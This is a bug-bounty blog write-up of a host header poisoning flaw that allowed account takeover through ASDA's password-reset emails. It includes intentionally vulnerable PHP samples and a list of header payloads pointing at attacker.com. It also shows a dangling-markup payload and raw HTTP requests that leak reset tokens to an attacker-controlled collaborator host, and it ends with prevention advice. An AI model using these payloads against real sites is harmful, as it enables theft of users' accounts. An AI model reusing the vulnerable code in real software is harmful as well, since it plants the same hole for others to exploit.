Account Takeover via Host Header Poisoning
As online shopping becomes increasingly popular, ensuring the security of customers’ personal information has become a top priority for e-commerce companies. Unfortunately, vulnerabilities can still be found in their websites that can put user data at risk.
In this blog post, we will discuss a serious vulnerability that we discovered in ASDA’s website that could allow an attacker to gain unauthorized access to user accounts.
What is Host Header Poisoning?
Let’s talk about the basic knowledge of Host Header Poisoning. Normally this method uses for cache Poisoning or forgets password function. The Cache Poisoning has a long way but today our story is about forgetting password functionality.
Host Header Poisoning is a vulnerability that allows an attacker to manipulate the Host header value in a request to a web server. The Host header value is used by web servers to determine which website to serve content from. By manipulating the Host header value, an attacker can redirect a victim to a malicious website or gain access to sensitive information.
when a hacker faces a forget password function, which sends a link with a token to update the password. If the hacker can access the victim’s fresh token. Takeover the victim’s account is piece of cake. there are many ways to bypass it and access the token, such as weaknesses in the token’s cryptography or leaking, etc
One of the common exploits of this vulnerability is manipulating a vulnerable website into generating a password reset link pointing to a domain under the attacker’s control. When the victim opens the poisoned link, the victim is redirected to the attacker’s website, and the user’s unused token logs into the attacker’s domain control.. Here is an example of exploit flow:
Why does this vulnerability exist?
It exists when potential user-controlled data is used to create a password reset link. That may be in the host header request which already exists or should add manually, or even on parameters in the body or get parameters, as long as it is user-controlled and is not filtered/checked, it may result in Password Reset Poisoning.
Here’s an example PHP code that checks for the host
parameter in the JSON body of the request. If the host
parameter exists, it uses it to construct the reset password URL. If the host
parameter does not exist, it falls back to the X-Forwarded-Host header from the request.
If both the host
parameter and X-Forwarded-Host header do not exist, it uses the main host as the default. Can you exploit it!? Well done👏. Now try to make it safe😄
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { $json_body = json_decode(file_get_contents('php://input'), true); $email = $json_body['email']; $host = isset($json_body['host']) ? $json_body['host'] : $_SERVER['HTTP_X_FORWARDED_HOST']; // If the host parameter is not set and the X-Forwarded-Host header is not set, use the main host as the default if (empty($host)) { $host = $_SERVER['HTTP_HOST']; } // Check if email exists in the database // If the email exists, generate a unique reset password token // Store the token and email in the database $reset_password_url = 'https://' . $host . '/reset_password.php?token=' . $token; $to = $email; $subject = 'Reset Password Link'; $message = 'Click the following link to reset your password: ' . $reset_password_url; $headers = 'From: [email protected]' . "\r\n" . 'Reply-To: [email protected]' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); // Send the reset password link to the user's email if (mail($to, $subject, $message, $headers)) { echo 'Reset password link has been sent to your email'; } else { echo 'Failed to send reset password link'; } } ?>
Here are some useful headers you can use in forget password requests, Be my guest…😉
- Replace Host Header → Host: attacker.com [Report](https://hackerone.com/reports/226659)
- Add Commons Header:
- X-Forwarded-Host: attacker.com [Report](https://hackerone.com/reports/182670)
- X-Forwarded-For: attacker.com
- X-Forwarded-Proto: attacker.com
- X-Host: attacker.com
- X-Forwarded-Server: attacker.com
- X-HTTP-Host-Override: attacker.com
- Forwarded: attacker.com
- X-Forwarded: attacker.com
- Change Origin → Origin: attacker.com
- Change Referer → Referer: attacker.com [Report](https://hackerone.com/reports/229498)
- Redirect X-Forwarded-Host (whitelist) → X-Forwarded-Host: attacker.com/.site.com [Report](https://hackerone.com/reports/698416)
- Change Path URI → GET https://attacker.com/forget-pass [Report](https://hackerone.com/reports/158482)
Sometimes it’s possible when you try to exploit you faced some errors such as 400 status, etc. One of the usual bypasses for this position is adding line wrapping:
POST /reset-password HTTP/1.1
Host: Site.com
Host: evil.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Now we have good knowledge of Host Header Poisoning, It’s time to back the original story. I skip the recon part and want to talk about the exploit part.
After I reached to website tried to analyze the flow of the forgetting password part. The website generates a reset password and emails it to the user. So I tried to use common exploits and fuzz for a hidden parameter or a hidden request header that is user-controlled data that effect on reset password link.
Unfortunately, my testing wasn’t successful, and unable to reach any parameter or header that effect the reset password link. but I wasn’t losing hope and a sound in my head said this is vulnerable just keep working.
Most programs and platforms do not accept HTML injection on email or mark it as low impact, But sometimes that helps us to steal user tokens or even OTP codes from email but HOW!? We have an unpopular vulnerability called Dangling Markup which is a kind of HTML injection that leads to stealing user Information.
What is Dangling Markup!?
an attacker will naturally attempt to execute XSS. But suppose a regular XSS attack is not possible, due to input filters, content security policy, or other obstacles. Here, it may still be possible to provide a dangling markup injection attack with a payload like the following:
"'><a href="//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/?
It’s possible to inject such this payload into the Port of the Host header request and that reflects in the reset password link, Here is an example code: (I’m not a PHP programmer sorry for any mistakes😅)
<?php
if(isset($_POST['submit'])){
// Retrieve user input from form
$email = $_POST['email'];
// Generate a unique token for the password reset link $token = bin2hex(random_bytes(32)); // Store the token in the database, along with the user's email // This could be done in a separate function $db = new PDO('mysql:host=localhost;dbname=myDB;charset=utf8', 'username', 'password'); $stmt = $db->prepare("INSERT INTO password_reset_tokens (email, token) VALUES (?, ?)"); $stmt->execute([$email, $token]); // Create the password reset link, including the token and the host from the request $host = $_SERVER['HTTP_HOST']; $parsed_host = parse_url($host); $reset_link = "https://domain.tld" $lol_reset_link = "/reset-password.php?token=".$token; if ($parsed_host['host'] == 'domain.tld') { if (isset($parsed_host['port'])) { $reset_link .= ':' . $parsed_host['port'] . $lol_reset_link; } else { $reset_link .= $lol_reset_link; } } // Send the email to the user $to = $email; $subject = "Password Reset Request"; $message = "Hello,\n\nPlease click on the following link to reset your password:\n\n".$reset_link."\n\nThanks,\nThe Example Team"; $headers = "From: [email protected]"; // Use PHP's mail() function to send the email mail($to, $subject, $message, $headers); // Display a success message to the user echo "A password reset link has been sent to your email address."; } ?> <!-- HTML form to collect user's email address --> <form method="post" action=""> <label for="email">Email Address:</label> <input type="email" name="email" required> <input type="submit" name="submit" value="Reset Password"> </form>
You can try to solve the below lab to understand how exactly to exploit this vulnerability:
Let’s go ahead, I tried to test Dangling Markup by adding a custom port:
POST /reset-password HTTP/1.1
Host: Site.com:123
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
and received the below email:
Surprisedly, I was able to inject a custom port to the reset password link then I tried to create a breakpoint into email:
POST /reset-password HTTP/1.1
Host: Site.com:123">
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Now let’s check the result:
I was able to successfully break, but after some challenges, I notice that we have character limits when trying to open the tag, although whenever we don’t open only a tag we can inject any character we want, So here I can’t exploit the vulnerability with Dangling Markup, Now what!!!
Knowing basic knowledge of any vulnerability and a little creativity helps you to create an out-of-mind exploit. In this scenario, If I had any chance to redirect the user to my website I able to steal the user’s token. How can I do it!?
using @ is one of the popular methods to redirect users to our website if you try to open [email protected] you will redirect to the evil.com website. Let’s use this method and make it useful 😀
POST /reset-password HTTP/1.1
Host: Site.com:@xxxx.burpcollaborator.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Annnnnnnd Bingo
Now, when a victim clicks on the poisoning link that will redirect to our website and we can access the unused victim’s token and then take over the victim’s account.
I found this vulnerable method the first time a year ago and 6 months ago fixed it after I noticed this method is exploitable to many targets and private Pentest projects.
Preventing Host Header Poisoning:
There are several measures that can be taken to prevent Host Header Poisoning. Firstly, web application developers should validate the Host header value to ensure that it matches the expected value.
This can help to prevent attackers from manipulating the Host header value. Secondly, web application developers should avoid using the Host header value in any security-sensitive operations, such as authentication or access control.
This can help to prevent attackers from bypassing these security measures. Finally, web application developers should use secure cryptographic algorithms to generate tokens and ensure that they are securely transmitted to users.
Conclusion:
Host Header Poisoning is a serious vulnerability that can have a significant impact on web applications. It can be used to redirect users to a malicious website, steal sensitive information, or even take over user accounts.
Web application developers should take steps to prevent this vulnerability by validating the Host header value, avoiding using it in security-sensitive operations, and using secure cryptographic algorithms to generate tokens.
With the rise of the internet and the increasing number of transactions that take place online, it is critical to ensure that web applications are secure from attacks, and Host Header Poisoning is one vulnerability that should not be ignored.